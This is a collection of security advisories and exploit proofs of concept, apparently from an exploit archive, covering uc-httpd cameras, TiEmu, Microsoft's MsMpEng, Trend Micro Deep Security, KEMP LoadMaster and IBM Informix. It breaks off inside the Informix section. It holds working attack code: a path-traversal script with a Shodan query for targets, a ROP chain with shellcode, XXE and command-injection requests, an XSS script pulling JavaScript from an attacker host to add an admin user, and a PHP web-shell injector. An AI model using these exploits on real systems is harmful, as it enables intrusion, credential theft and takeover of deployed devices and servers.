| |   | . ` |  `--. \ |  __|  | |     | | | | |    /    | |     | |     \ /
_| |_  | |\  | /\__/ / | |___  | \__/\ | |_| | | |\ \   _| |_    | |     | |
\___/  \_| \_/ \____/  \____/   \____/  \___/  \_| \_|  \___/    \_/     \_/


[+]---------------------------------------------------------[+]
| Vulnerable Software:      uc-httpd                        |
| Vendor:                   XiongMai Technologies           |
| Vulnerability Type:       LFI, Directory Traversal        |
| Date Released:            03/04/2017                      |
| Released by:              keksec                          |
[+]---------------------------------------------------------[+]

uc-httpd is a HTTP daemon used by a wide array of IoT devices (primarily security cameras) which is vulnerable
to local file inclusion and directory traversal bugs. There are a few million total vulnerable devices, with
around one million vulnerable surviellence cameras.

The following request can be made to display the contents of the 'passwd' file:
GET ../../../../../etc/passwd HTTP/1.0

To display a directory listing, the following request can be made:
GET ../../../../../var/www/html/ HTTP/1.0
The above request would output the contents of the webroot directory as if 'ls' command was executed

The following shodan request can be used to display vulnerable systems:
product:uc-httpd

Here is a proof of concept (written by @sxcurity):
-------------------------------------------------------------------------------------------------------------
'''
#!/usr/bin/env python
import urllib2, httplib, sys

httplib.HTTPConnection._http_vsn = 10
httplib.HTTPConnection._http_vsm_str = 'HTTP/1.0'

print "[+] uc-httpd 0day exploiter [+]"
print "[+] usage: python " + __file__ + " http://<target_ip>"

host = sys.argv[1]
fd = raw_input('[+] File or Directory: ')

print "Exploiting....."
print '\n'
print urllib2.urlopen(host + '/../../../../..' + fd).read()

'''
-------------------------------------------------------------------------------------------------------------

Here is a live example of the exploit being ran:


root@127:~/dongs# python pwn.py http://127.0.0.1
[+] uc-httpd 0day exploiter [+]
[+] usage: python pwn.py http://<target_ip>
[+] File or Directory: /etc/passwd
Exploiting.....


root:absxcfbgXtb3o:0:0:root:/:/bin/sh

root@127:~/dongs# python pwn.py http://127.0.0.1
[+] uc-httpd 0day exploiter [+]
[+] usage: python pwn.py http://<target_ip>
[+] File or Directory: /proc/version
Exploiting.....


Linux version 3.0.8 (leixinyuan@localhost.localdomain) (gcc version 4.4.1 (Hisilicon_v100(gcc4.4-290+uclibc_0.9.32.1+eabi+linuxpthread)) ) #52 Fri Apr 22 12:33:57 CST 2016

root@127:~/dongs#
-------------------------------------------------------------------------------------------------------------


How to fix: Sanitize inputs, don't run your httpd as root!

[+]---------------------------------------------------------[+]
|                      CONTACT US:                          |
|                                                           |
| IRC:          irc.insecurity.zone (6667/6697) #insecurity |
| Twitter:      @insecurity                                 |
| Website:      insecurity.zone                             |
[+]---------------------------------------------------------[+]
'''
            
#!/usr/bin/python
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
# Tested on: Windows 7 32 bits
#
# Description: TiEmu ( Texas Instrument Emulator ) 2.08 and prior is
# prone to a stack-based buffer overflow vulnerability because the
application fails to perform adequate
# boundary-checks on user-supplied input.
#
# What is TiEmu?
# TiEmu is a multi-platform emulator for TI89 / TI89 Titanium / TI92 / TI92+ / V200PLT hand-helds.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://lpg.ticalc.org/prj_tiemu/

import struct, subprocess, os
file = "C:/Program Files/TiEmu/bin/tiemu.exe"
junk =  "A" * 452
nseh = struct.pack('L', 0x06eb9090)
seh = struct.pack('L', 0x6c3010ba) # pop ebx # pop ebp # ret  -
libtifiles2-5.dll

def create_rop_chain():
  rop_gadgets = [
    0x75ecd264,  # POP ECX # RETN [SHELL32.DLL]
    0x711e1388,  # ptr to &VirtualProtect() [IAT COMCTL32.DLL]
    0x7549fd52,  # MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MSCTF.dll]
    0x628daecc,  # POP EBP # RETN [tcl84.dll]
    0x76c319b8,  # & push esp # ret  [kernel32.dll]
    0x7606c311,  # POP EAX # RETN [SHELL32.DLL]
    0xfffffdff,  # Value to negate, will become 0x00000201
    0x75de6a90,  # NEG EAX # RETN [SHLWAPI.dll]
    0x76c389d9,  # XCHG EAX,EBX # RETN [kernel32.dll]
    0x754f3b2f,  # POP EAX # RETN [MSCTF.dll]
    0xffffffc0,  # Value to negate, will become 0x00000040
    0x76b13193,  # NEG EAX # RETN [USER32.dll]
    0x76c38a09,  # XCHG EAX,EDX # RETN [kernel32.dll]
    0x757dfbf7,  # POP ECX # RETN [ole32.dll]
    0x71256c9b,  # &Writable location [COMCTL32.DLL]
    0x77048567,  # POP EDI # RETN [RPCRT4.dll]
    0x757e65e2,  # RETN (ROP NOP) [ole32.dll]
    0x76cd6ee4,  # POP EAX # RETN [kernel32.dll]
    0x90909090,  # nop
    0x76ac6d21,  # PUSHAD # RETN [OLEAUT32.dll]
  ]
  return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

shellcode = "\x90"*6
shellcode += "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
shellcode += "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
shellcode += "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
shellcode += "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
shellcode += "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
shellcode += "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
shellcode += "\x45\x81\x3e\x43\x72\x65\x61\x75"
shellcode += "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
shellcode += "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
shellcode += "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
shellcode += "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
shellcode += "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
shellcode += "\x6c\x63\x89\xe2\x52\x52\x53\x53"
shellcode += "\x53\x53\x53\x53\x52\x53\xff\xd7"

junk2 =  "A" * 2000

buffer = junk  + nseh + seh + rop_chain + shellcode + junk2

try:
   print(buffer)
   subprocess.call([file, buffer])
except OSError as e:
   if e.errno == os.errno.ENOENT:
       print "TiEmu not found!"
   else:
print "Error executing exploit"
   raise
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1258

MsMpEng's JS engine uses garbage collection to manage the lifetime of Javascript objects.

During mark and sweep the GC roots the vectors representing the JS stack as well as a few other hardcoded objects, traversing reachable objects from those roots then frees any unreachable objects. The native stack is *not* marked therefore any native code which is using JsObject pointers needs to take care to ensure that either the objects will remain reachable or that a GC cannot occur.

MsMpEng's JS engine supports script defining toString and valueOf methods on objects which will be invoked when the native code attempts to convert JsObjects to strings or integers. These script callbacks are implemented by calling JsTree::run. the ::run method takes two arguments, the JS state and a flag which determines whether GC is blocked. In order to prevent the re-entrant scripts causing a GC the wrappers call JsTree::run passing 1 for the gc disable flag which means that JSTree will not run a GC while the callback executes.

The problem is that this flag isn't a global GC disable flag, it only applies to this particular JsTree frame. If we can cause another JsTree to be run inside the callback which passes 0 for the gc disable flag then the script running under *that* JsTree::run will be able to cause a gc, which is global.

The implementation of eval is one place where we can cause JsTree::run to be called passing 0, meaning that we can cause a GC inside a callback where GC should be disable by just eval'ing a string which will cause a GC when executed.

The final piece is to find a construct where native code has a JsObject pointer on the stack that is not being kept alive by other references reachable from GC roots. JsDelegateObject_StringProto::slice which implements the String.prototype.slice method has such a construct, in high-level pseudo-code the logic of the functions looks like this:

  JsObject* this = getCurrentThisPointer(); // kept alive because it’s on JS stack
 
  JsString* this_str = JsDelegateObject_StringProto::toStringThrows(this);
  // nothing (apart from maybe JSBench?) is rooting this_str as long as we
  // don't keep any references to it in script
  // the native code needs to prevent GC to keep it alive while it needs it
 
  int len = JsString::numBytes(this_str); // okay because this can't cause GC

  int start = JsDelegateObject_StringProto::toIntegerThrows( args[0] );

  // this calls valueOf() on the first argument
  // toIntegerThrows will call through to JsTree::run if we override valueOf of the first argument to slice()

  // It will pass blockGC=1 to prevent the callback doing GC (which could free this_str)
  // however if in the valueof callback we eval code which will cause a GC we can get a GC to happen
  // which will cause the this_str JsString to be free'd (as it's not explicitly rooted,
  // the native stack isn't scanned and no script objects reference it.)
 
  // the code continues and does something like this:
  JsString::initBySub(jsState, this_str ...
 
  // that ends up calling a virtual method on the free’d this_str


PoC script:

function gc() {eval("var a = Object(); var b = Object(); var s='a'; for(var i=0; i < 0x800; i++){s=s.replace('a', 'aaaaaaaa')};");}; var x = Object(); x.toString = function(){String.fromCharCode(0x43)+String.fromCharCode(0x41);}; var l=Object(); l.valueOf=function(){gc(); return 1;}; String.prototype.slice.call(x, l);

PoC zip file also attached which will trigger on Windows when decrypted with password "nscriptgc"

################################################################################

Here's a clearer PoC not all on one line for the mpengine shell :)

//*************************
function gc() {
  eval("var s='a';for(var i=0; i < 0x800; i++){s=s.replace('a', 'aaaaaaaa');}");
};

var x = Object();
// the first PoC didn't return a string here so toString ended up being the string 'undefined'
// if we do want to return a string object it has to have more than three characters so it doesn't use the 
// inline string optimization
x.toString = function(){return String.fromCharCode(0x41, 0x41, 0x41, 0x41);};

var l = Object();
l.valueOf = function() {gc(); return 1;};

String.prototype.slice.call(x, l);
//************************

################################################################################


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42088.zip
            
The following advisory describes three (3) vulnerabilities found in Trend Micro Deep Security version 6.5.

“The Trend Micro Hybrid Cloud Security solution, powered by XGen security, delivers a blend of cross­-generational threat defense techniques that have been optimized to protect physical, virtual, and cloud workloads. It features Trend Micro Deep Security, the market share leader in server security, protecting millions of physical, virtual, and cloud servers around the world.
Deep Security offers multiple layers of security that protect your servers as they move—across the data center, into the cloud, or in a hybrid deployment.”

The vulnerabilities found in Trend Micro Deep Security:
1. XML External Entity (XXE) that lead to arbitrary file disclosure 
2. Local Privilege Escalation
3. Remote code execution

Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Vendor response

Trend Micro has released patches to address these vulnerabilities and issued the following advisory: https://success.trendmicro.com/solution/1117412

Vulnerabilities Details

XML External Entity (XXE) that lead to arbitrary file disclosure

Trend Micro Security Manager uses an outdated REST API (resteasy­jaxrs­2.3.5.Final.jar). The library suffers from an XXE vulnerability that can be exploited using Parameter Entities.

Proof of Concept

By sending the following POST request, an attacker can gain the victims “/etc/shadow”
 
1 POST /rest/authentication/login/sso HTTP/1.1
2 Host: 192.168.18.129:4119
3 Content­Type: application/xml
4 Content­Length: 360
5
6 <?xml version="1.0" encoding="utf­8"?>
7 <!DOCTYPE roottag [
8 <!ENTITY % start "<![CDATA[">
9 <!ENTITY % goodies SYSTEM "file:///etc/shadow">
10 <!ENTITY % end "]]>">
11 <!ENTITY % dtd SYSTEM "http://192.168.18.130/combine.dtd">
12 %dtd;
13
14 ]> 15
16 <dsCredentials>
17 <password>P@ssw0rd</password>
18 <tenantName></tenantName>
19 <userName>&all;</userName>
20 </dsCredentials>

Local Privilege Escalation

Admin users have access via the web interface to the SSH configuration settings. The port settings are not properly handled and allow injecting shell commands as the root user.

1 POST /SSHConfig.jsp HTTP/1.1
2 Host: 192.168.254.176:8443
3 User­Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept­Language: en­US,en;q=0.5
6 Referer: https://192.168.254.176:8443/SSHConfig.jsp
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
8 Connection: close
9 Content­Type: application/x­www­form­urlencoded
10 Content­Length: 150
11 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&needSSHConfigure=yes&SSHSt
12 atus=enable&SSHPort=22&op=save&cbSSHStatus=enable&btSSHPort=221

In the above code, the SSHPort= parameter does not sanitize the incoming data. An attacker can use this to inject commands that will run as root on the victim’s machine.

Proof of Concept

The following POST request will call the sleep command with a value of 60 seconds:
    
1 POST /SSHConfig.jsp HTTP/1.1
2 Host: 192.168.254.176:8443
3 User­Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept­Language: en­US,en;q=0.5
6 Referer: https://192.168.254.176:8443/SSHConfig.jsp
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
8 Connection: close
9 Content­Type: application/x­www­form­urlencoded
10 Content­Length: 150
11
12 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&needSSHConfigure=yes&SSHSt
13 atus=enable&SSHPort=%60sleep%2010%60&op=save&cbSSHStatus=enable&btSSHPort=221

Remote code execution

Trend Micro Deep Security has a default user with sudo privileges named iscan. This user is locked out but it can access certain elevated functions.

1 POST /servlet/com.trend.iwss.gui.servlet.ManageSRouteSettings?action=add HTTP/1.1
2 Host: 192.168.254.176:8443
3 User­Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept­Language: en­US,en;q=0.5
6 Referer: https://192.168.254.176:8443/staticRouteEdit.jsp?action=add
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
8 Connection: close
9 Content­Type: application/x­www­form­urlencoded
10 Content­Length: 259
11
12 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&op=sroutemanage&fromurl=%2
13 FstaticRoutes.jsp&failoverurl=%2FstaticRouteEdit.jsp&port=&oldnetid=&oldrouter=&oldnetmask=&
14 oldport=&netid=192.168.1.0&netmask=255.255.255.0&router=192.168.1.1&interface_vlanid_sel=eth1

In the above POST request, we can see the page has several parameters that are vulnerable and that we can inject malicious parameters through them: netid, netmask, router, and interface_vlanid_sel

Proof of Concept:
    
1 POST /servlet/com.trend.iwss.gui.servlet.ManageSRouteSettings?action=add HTTP/1.1
2 Host: 192.168.254.176:8443
3 User­Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept­Language: en­US,en;q=0.5
6 Referer: https://192.168.254.176:8443/staticRouteEdit.jsp?action=add
7 Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D
8 Connection: close
9 Content­Type: application/x­www­form­urlencoded
10 Content­Length: 259
11
12 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&op=sroutemanage&fromurl=%2
13 FstaticRoutes.jsp&failoverurl=%2FstaticRouteEdit.jsp&port=&oldnetid=&oldrouter=&oldnetmask=&
14 oldport=&netid=192.168.1.0%7c%7c%60ping%20­
15 c%2021%20127.0.0.1%60%20%23'%7c%7c%60ping%20­
16 c%2021%20127.0.0.1%60%20%23%5c%22%20&netmask=255.255.255.0&router=192.168.1.1&inte
17 rface_vlanid_sel=eth1
  
            
Vulnerability Summary

KEMP’s main product, the LoadMaster, is a load balancer built on its own proprietary software platform called LMOS, that enables it to run on almost any platform: As a KEMP LoadMaster appliance, a Virtual LoadMaster (VLM) deployed on Hyper­V, VMWare, on bare metal or in the public cloud. KEMP is available in Azure, where it is in the top 15 deployed applications as well as in AWS and VMWare vCloud Air.

A cross site scripting web vulnerability has been discovered in KEMP LoadMaster v7.135.0.13245 (latest). A non authenticated user is able to inject his own malicious Javascript code into the system and use it to create a new web administrator user.

Vendor response

We were unable to get an update beyond this statement from the vendor: Expect a fix in our new version available Jan 2017.

Vulnerability Details

The issue is located in the System Configuration > System Log Files – View Audit LogFile section.
Once administrative access is obtained, the attacker can use it to execute arbitrary code.

Proof of Concept (PoC):

1 – Verify, in the victim machine the Audit LogFile (System Configuration > System Log Files): it is empty (Image 2)

2 – Inject simple HTML/JS code in the log page, using the ssh client: from an attacker machine open a shell and type the following code:

ssh \<button\ onclick\=alert\(1\)\>Click\ <\/button\>@10.0.8.145

3 – Let the login fail using wrong password (Image 4)

4 – Check again the log page (View Audit LogFile): as you can see the HTML/JS code has been correctly injected (Image 5)

Attack script:

1 – Start a web server and host on attack machine the following JS file (kemp_attack.js)

//BEGIN//////////////////////////////////////////////////////// openl = function(verb, url, data, target) {
var form = document.createElement("form"); form.action = url;
form.method = verb;
form.target = target || "_self";
if (data) {
for (var key in data) {
var input = document.createElement("textarea"); input.name = key;
input.value = typeof data[key] === "object" ?
JSON.stringify(data[key]) : data[key]; form.appendChild(input);
} }
form.style.display = 'none'; document.body.appendChild(form); form.submit();
};
//modify the target IP (10.0.8.145) and user/pass as necessary
openl('POST', 'https://10.0.8.145/progs/useradmin/add', {user:'Peru',pass:'GoSecure!',s:'Add+User'}, 'newWindow'); //modify the target IP as necessary, xuser must be equal to user. Increase the timeout (250) for debug setTimeout(function(){openl('POST', 'https://10.0.8.145/progs/useradmin/setopts', {xuser:'Peru',root:'1'}, 'newWindow');}, 250);
//modify the target IP as necessary. The timeout must be greater than the previous
setTimeout(function(){openl('', 'https://10.0.8.145/', '', 'newWindow');}, 500); //////////////////////////////////////////////////////////END//

2 – Verify permission of kemp_attack.js (chmod 644 kemp_attack.js)

3 – Verify users currently enabled in Kemp LoadMaster from System Configuration > User Management. As you can se no user (a part from default one) is active in the appliance (Image 8)

4 – Inject the attack code: from the attacker machine open a shell and type the following code:

ssh \<script \ src\=\"http\&\#x3A\;\/\/10\.0\.8\.130\/kemp\_attack\.js\"\>\ </script>@10.0.8.145

5 – Check again the log page (View Audit LogFile): this will activate the script

6 – Check again the User Management page: a new user as been created with all permissions. 
            
## Vulnerabilities Summary
The following advisory describes six (6) vulnerabilities found in Informix Dynamic Server and Informix Open Admin Tool.

IBM Informix Dynamic Server Exceptional, low maintenance online transaction processing (OLTP) data server for enterprise and workgroup computing.

IBM Informix Dynamic Server has many features that cater to a variety of user groups, including developers and administrators. One of the strong features of IDS is the low administration cost. IDS is well known for its hands-free administration. To make server administration even easier, a new open source, platform-independent tool called OpenAdmin Tool (OAT) is now available to IDS users. The OAT includes a graphical interface for administrative tasks and performance analysis tools.

## Vulnerabilities:

- Unauthentication static PHP code injection that leads to remote code execution
- Heap buffer overflow
- Remote DLL Injection that leads to remote code execution (1)
- Remote DLL Injection that leads to remote code execution (2)
- Remote DLL Injection that leads to remote code execution (3)
- Remote DLL Injection that leads to remote code execution (4)

## Credit

An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

## Vendor response
IBM has released patches to address those vulnerabilities and issued the following CVE’s:

- CVE-2016-2183
- CVE-2017-1092

For more Information – http://www-01.ibm.com/support/docview.wss?uid=swg22002897

## Vulnerabilities Details

IBM Informix Dynamic Server installs a PHP enable Apache server as a Windows Service (“Apache_for_OAT”) which listens on public port 8080 (tcp/http) for incoming requests to the OpenAdmin web panel. It runs with NT AUTHORITY\SYSTEM privileges.

Unauthentication static PHP code injection that leads to remote code execution
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication static PHP code injection by invoking welcomeService.php which offers a SOAP interface.

The welcomeServer.php class suffers of a static PHP code injection into the “saveHomePage” method. Arbitrary code can be injected into ‘config.php‘, which is accessible to remote users. Given this, a remote attacker could execute arbitrary code/commands with the privileges of the target service.

Vulnerable code – C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\welcome\welcomeService.php


```
...
<?php
[..]

$ini = ini_set("soap.wsdl_cache_enabled","0");

require_once("welcomeServer.php");

$server = new SoapServer("welcome.wsdl");
$server->setClass("welcomeServer");
if (isset($HTTP_RAW_POST_DATA))
  {
  $request = $HTTP_RAW_POST_DATA;
} else
  {
  $request = file_get_contents('php://input');
}

$server->handle($request);
?>
...
```

If we will look into saveHomePage() method inside
C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\welcome\welcomeServer.php:

```
...
/**
   * Save the selected home page in the config.php file.
   */
  public function saveHomePage ($new_home_page)  <---------------------------------------
  {
    $this->idsadmin->load_lang("admin");
    $conf_vars = $this->idsadmin->get_config("*");

    // create backup of config file
    $src=$conf_vars['HOMEDIR']."/conf/config.php";
    $dest=$conf_vars['HOMEDIR']."/conf/BAKconfig.php";
    copy($src,$dest);

    // open the config file
    if (! is_writable($src))
    {
      trigger_error($this->idsadmin->lang("SaveCfgFailure"). " $src");
      return;
    }
    $fd = fopen($src,'w+'); <------------------------------ [*]
    // write out the config
    fputs($fd,"<?php \n");
    foreach ($conf_vars as $k => $v)
    {
      if ($k == "HOMEPAGE")
      {
        $v = $new_home_page; <----------------------------------- [**]
      }
      else if ($k == "CONNDBDIR" || $k == "HOMEDIR")
      {
        // Replace backslashes in paths with forward slashes
        $this->idsadmin->in[$k] = str_replace('\\', '/', $this->idsadmin->in[$k]);
        /* idsdb00494581: An extra '"' gets written to $CONF['CONNDBDIR'] in config.php
         * silent install in /vobs/idsadmin/idsadmin/install/index.php:saveDefaultConfig() writes the above line
         * based on $conndbdir = addslashes(substr(@$_SERVER['argv'][3],11)); TODO: fix the initial writing into config.php (Windows only issue)
         */
        if ($v[strlen($v)-1] == '"') {
          $v = substr($v, 0, -1);
        }
      }
      $out = "\$CONF['{$k}']=\"{$v}\";#{$this->idsadmin->lang($k)}\n"; <--------------------------- [***]
      fputs($fd,$out); <-------------------------------------- [****]
    }
    fputs($fd,"?>\n");
    fclose($fd);

    return $new_home_page;
  }
...
```

Note that $new_home_page is the unique parameter of a SOAP request and it is controlled;

The resulting file could look like this:


```
...
<?php
$CONF['LANG']="en_US";#The default language for the OAT pages.
$CONF['BASEURL']="http://WIN-PF2VMDT4MVO:8080/openadmin";#The URL where OAT is installed in this format: http://servername:port/location.
$CONF['HOMEDIR']="C:/Program Files (x86)/IBM Informix Software Bundle/OAT/Apache_2.2.22/htdocs/openadmin/";#The directory for the OAT installation.
$CONF['CONNDBDIR']="C:\Program Files (x86)\IBM Informix Software Bundle\OAT\OAT_conf";#The directory for the OAT connections database. Specify a secure directory that is not under the document directory for the web server.
$CONF['HOMEPAGE']="";system($_GET[cmd]);//";#The page to use as the OAT home page.
$CONF['PINGINTERVAL']="300";#The length of time (in seconds) between updates of the server status. The server status is shown on the Health Center > Dashboard > Group Summary page.
$CONF['ROWSPERPAGE']="25";#The default number of rows per page to display when data is shown in a table format.
$CONF['SECURESQL']="on";#Require login credentials for the SQL ToolBox.
$CONF['INFORMIXCONTIME']="20";#The length of time (in seconds) that OAT attempts to connect to the database server before returning an error (INFORMIXCONTIME).
$CONF['INFORMIXCONRETRY']="3";#The number of times that OAT attempts to connect to the database server during the Informix connect time (INFORMIXCONRETRY).
$CONF['INFORMIXDIR']="C:\Program Files (x86)\IBM Informix Software Bundle";#MISSING LANG FILE ITEM INFORMIXDIR
?>
...
```

config.php is not protected so we can execute system() through a GET request.

## Proof of Concept

```
<?php

error_reporting(0);
$host = $argv[1];
$port = 8080;

$shell = htmlentities("\";system(\$_GET[cmd]);//");

$data='
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Welcome">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:saveHomePage soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <new_home_page xsi:type="xsd:string">'.$shell.'</new_home_page>
      </urn:saveHomePage>
   </soapenv:Body>
</soapenv:Envelope>
';
$pk="POST /openadmin/services/welcome/welcomeService.php HTTP/1.1\r\n".
    "Host: ".$host."\r\n".
    "Content-Type: text/xml;charset=UTF-8
\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "SOAPAction: \"urn:QBEAction\"\r\n".
    "Connection: Close\r\n\r\n".
    $data;

$fp = fsockopen($host,$port,$e,$err,5);

fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
//echo $out."\n";

$pk="GET /openadmin/conf/config.php?cmd=whoami HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Connection: Close\r\n\r\n";

$fp = fsockopen($host,$port,$e,$err,5);

fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out."\n";
?>
```

## Heap buffer overflow

IBM Informix Dynamic Server Developer is vulnerable to Unauthentication heap buffer overflow. By submitting connection parameters to index.php, through the ‘server’ property, it is possible to trigger a heap buffer overflow vulnerability into the underlying PHP Informix extension (php_pdo_informix.dll).

When attaching WinDbg to the httpd.exe sub-process, it shows:


```
(1580.68c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=007b5360 ebx=04701bb0 ecx=007b5274 edx=00000276 esi=01010101 edi=046fe310
eip=007b14b5 esp=01f8f630 ebp=047677cc iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
php_pdo_informix+0x14b5:
007b14b5 894614          mov     dword ptr [esi+14h],eax ds:002b:01010115=15ff012e
```

esi is controlled by the attacker and could be used to execute arbitrary code or to create denial of service conditions

```
0:002> lm vm php_pdo_informix
start    end        module name
014f0000 014fa000   php_pdo_informix   (export symbols)       C:\Program Files (x86)\IBM Informix Software Bundle\OAT\PHP_5.2.4\ext\php_pdo_informix.dll
    Loaded symbol image file: C:\Program Files (x86)\IBM Informix Software Bundle\OAT\PHP_5.2.4\ext\php_pdo_informix.dll
    Image path: C:\Program Files (x86)\IBM Informix Software Bundle\OAT\PHP_5.2.4\ext\php_pdo_informix.dll
    Image name: php_pdo_informix.dll
    Timestamp:        Mon Jun 15 17:13:57 2009 (4A36E3C5)
    CheckSum:         00015E71
    ImageSize:        0000A000
    File version:     5.2.4.4
    Product version:  5.2.4.0
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      The PHP Group
    ProductName:      PHP php_pdo_informix.dll
    InternalName:     php_pdo_informix.dll
    OriginalFilename: php_pdo_informix.dll
    ProductVersion:   5.2.4
    FileVersion:      5.2.4.4
    PrivateBuild:     5.2.4.4
    SpecialBuild:     5.2.4.4
    FileDescription:  pdo_informix
    LegalCopyright:   Copyright © 1997-2007 The PHP Group
    LegalTrademarks:  PHP
    Comments:         Thanks to Rick McGuire, Dan Scott, Krishna Raman, Kellen Bombardier
```

## Proof of Concept

```
<?php
/*
example connection string:
informix:host=127.0.0.1;service=7360;database=sysmaster;protocol=onsoctcp;server=[0X01 X 69000]
*/

error_reporting(0);
$host = $argv[1];
$port = 8080;

$data="PASSWORD=*&USERNAME=*&SERVER=".str_repeat("\x01",69000)."&HOST=127.0.0.1&PORT=7360&IDSPROTOCOL=onsoctcp&TENANT_DBOWNER=&TENANT_DBNAME=";
$pk="POST /openadmin/index.php?act=login&do=testconn HTTP/1.1\r\n".
    "Host: ".$host."\r\n".
    "Content-Type: application/x-www-form-urlencoded\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "Connection: Close\r\n\r\n".
    $data;

$fp = fsockopen($host,$port,$e,$err,5);
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out."\n";
?>
```

## Remote DLL Injection that leads to remote code execution (1)

IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution.

by submitting connection parameters to index.php, setting the ‘act‘ parameter to ‘login‘ and the ‘do‘ one to ‘testconn‘, it is possible to inject arbitrary statements into a connection string for the underlying Informix database.

The __construct() method of the PDO_OAT.php library passing them to PDO::__construct() without prior sensitization

Given this it is possible to inject the “TRANSLATIONDLL” connection parameter and to point it to an arbitrary dll from a remote network share, prepared by the attacker. If the dll entry point contains malicious code, this will be executed instantly. This can be done ex. through the ‘HOST‘ parameter of a POST request.

Vulnerable code – C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\modules\login.php

```
...
function testconn($internal=false)
  {
    $state = 1;
    $statemessage="Online";

    $servername = $this->idsadmin->in['SERVER'];<-------------------------------------- [*]
    $host = $this->idsadmin->in['HOST']; <------------------------------------------
    $port = $this->idsadmin->in['PORT']; <-------------------------------------------
    $protocol = $this->idsadmin->in['IDSPROTOCOL']; <------------------------------------
    // The below distinction (sysmaster/sysadmin) is needed to avoid the error (-570:Cannot reference an external ANSI database.) when a tenant owner's permissions are being verified.
    // The error happens when connecting to sysmaster and issuing the query (below, joining sysadmin:ph_allow_list and <tenant_db>:sysusers) to check against sysusers on an ansi db
    if (isset($this->idsadmin->in['TENANT_DBOWNER']) && ($this->idsadmin->in['TENANT_DBOWNER'] == 1 || $this->idsadmin->in['TENANT_DBOWNER'] == true)) {
      $dbname = "sysadmin";
    } else {
      $dbname = "sysmaster";
    }
    $user = $this->idsadmin->in['USERNAME']; <--------------------------------------
    $passwd = $this->idsadmin->in['PASSWORD']; <----------------------------
    $envvars = (isset($this->idsadmin->in['ENVVARS']))? $this->idsadmin->in['ENVVARS'] : null;

    require_once (ROOT_PATH."lib/PDO_OAT.php");
    try {
      $tdb = new PDO_OAT($this->idsadmin,$servername,$host,$port,$protocol,$dbname,"",$envvars,$user,$passwd); <----------------------- [**]
    } catch(PDOException $e) {
      $message=preg_split("/:/",$e->getMessage());
      $statemessage= $message[sizeof($message)-1];
      $statemessage="{$this->idsadmin->lang('ConnectionFailed')} {$statemessage}";
      $state=3;
    }

